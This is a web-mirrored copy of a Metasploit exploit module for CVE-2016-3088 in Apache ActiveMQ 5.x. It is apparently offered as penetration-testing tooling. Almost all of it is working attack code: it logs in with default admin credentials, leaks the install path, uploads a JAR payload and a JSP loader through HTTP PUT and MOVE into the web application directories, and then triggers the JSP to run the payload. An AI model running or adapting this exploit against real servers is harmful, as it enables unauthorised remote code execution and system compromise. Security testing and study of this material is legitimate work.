CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

CoCalc provides the best real-time collaborative environment for Jupyter Notebooks, LaTeX documents, and SageMath, scalable from individual users to large groups and classes!

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/multi/http/apache_activemq_upload_jsp.rb
Views: 1904
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Exploit::Remote
7
Rank = ExcellentRanking
8
include Msf::Exploit::Remote::HttpClient
9
include Msf::Exploit::FileDropper
10
11
def initialize(info = {})
12
super(update_info(info,
13
'Name' => 'ActiveMQ web shell upload',
14
'Description' => %q(
15
The Fileserver web application in Apache ActiveMQ 5.x before 5.14.0
16
allows remote attackers to upload and execute arbitrary files via an
17
HTTP PUT followed by an HTTP MOVE request.
18
),
19
'Author' => [ 'Ian Anderson <andrsn84[at]gmail.com>', 'Hillary Benson <1n7r1gu3[at]gmail.com>' ],
20
'License' => MSF_LICENSE,
21
'References' =>
22
[
23
[ 'CVE', '2016-3088' ],
24
[ 'URL', 'http://activemq.apache.org/security-advisories.data/CVE-2016-3088-announcement.txt' ]
25
],
26
'Privileged' => true,
27
'Platform' => %w{ java linux win },
28
'Targets' =>
29
[
30
[ 'Java Universal',
31
{
32
'Platform' => 'java',
33
'Arch' => ARCH_JAVA
34
}
35
],
36
[ 'Linux',
37
{
38
'Platform' => 'linux',
39
'Arch' => ARCH_X86
40
}
41
],
42
[ 'Windows',
43
{
44
'Platform' => 'win',
45
'Arch' => ARCH_X86
46
}
47
]
48
],
49
'DisclosureDate' => '2016-06-01',
50
'DefaultTarget' => 0))
51
register_options(
52
[
53
OptString.new('BasicAuthUser', [ true, 'The username to authenticate as', 'admin' ]),
54
OptString.new('BasicAuthPass', [ true, 'The password for the specified username', 'admin' ]),
55
OptString.new('JSP', [ false, 'JSP name to use, excluding the .jsp extension (default: random)', nil ]),
56
OptString.new('AutoCleanup', [ false, 'Remove web shells after callback is received', 'true' ]),
57
Opt::RPORT(8161)
58
])
59
register_advanced_options(
60
[
61
OptString.new('UploadPath', [false, 'Custom directory into which web shells are uploaded', nil])
62
])
63
end
64
65
def jsp_text(payload_name)
66
%{
67
<%@ page import="java.io.*"
68
%><%@ page import="java.net.*"
69
%><%
70
URLClassLoader cl = new java.net.URLClassLoader(new java.net.URL[]{new java.io.File(request.getRealPath("./#{payload_name}.jar")).toURI().toURL()});
71
Class c = cl.loadClass("metasploit.Payload");
72
c.getMethod("main",Class.forName("[Ljava.lang.String;")).invoke(null,new java.lang.Object[]{new java.lang.String[0]});
73
%>}
74
end
75
76
def exploit
77
jar_payload = payload.encoded_jar.pack
78
payload_name = datastore['JSP'] || rand_text_alpha(8 + rand(8))
79
host = "#{datastore['RHOST']}:#{datastore['RPORT']}"
80
@url = datastore['SSL'] ? "https://#{host}" : "http://#{host}"
81
paths = get_upload_paths
82
paths.each do |path|
83
if try_upload(path, jar_payload, payload_name)
84
break handler if trigger_payload(payload_name)
85
print_error('Unable to trigger payload')
86
end
87
end
88
end
89
90
def try_upload(path, jar_payload, payload_name)
91
['.jar', '.jsp'].each do |ext|
92
file_name = payload_name + ext
93
data = ext == '.jsp' ? jsp_text(payload_name) : jar_payload
94
move_headers = { 'Destination' => "#{@url}/#{path}/#{file_name}" }
95
upload_uri = normalize_uri('fileserver', file_name)
96
print_status("Uploading #{move_headers['Destination']}")
97
register_files_for_cleanup "#{path}/#{file_name}" if datastore['AutoCleanup'].casecmp('true')
98
return error_out unless send_request('PUT', upload_uri, 204, 'data' => data) &&
99
send_request('MOVE', upload_uri, 204, 'headers' => move_headers)
100
@trigger_resource = /webapps(.*)/.match(path)[1]
101
end
102
true
103
end
104
105
def get_upload_paths
106
base_path = "#{get_install_path}/webapps"
107
custom_path = datastore['UploadPath']
108
return [normalize_uri(base_path, custom_path)] unless custom_path.nil?
109
[ "#{base_path}/api/", "#{base_path}/admin/" ]
110
end
111
112
def get_install_path
113
properties_page = send_request('GET', "#{@url}/admin/test/")
114
fail_with(Failure::UnexpectedReply, 'Target did not respond with 200 OK to a request to /admin/test/!') if properties_page == false
115
properties_page = properties_page.body
116
match = properties_page.match(/activemq\.home=([^,}]+)/)
117
return match[1] unless match.nil?
118
end
119
120
def send_request(method, uri, expected_response = 200, opts = {})
121
opts['headers'] ||= {}
122
opts['headers']['Authorization'] = basic_auth(datastore['BasicAuthUser'], datastore['BasicAuthPass'])
123
opts['headers']['Connection'] = 'close'
124
r = send_request_cgi(
125
{
126
'method' => method,
127
'uri' => uri
128
}.merge(opts)
129
)
130
if r.nil?
131
fail_with(Failure::Unreachable, 'Could not reach the target!')
132
end
133
return false if expected_response != r.code.to_i
134
r
135
end
136
137
def trigger_payload(payload_name)
138
send_request('POST', @url + @trigger_resource + payload_name + '.jsp')
139
end
140
141
def error_out
142
print_error('Upload failed')
143
@trigger_resource = nil
144
false
145
end
146
end
147
148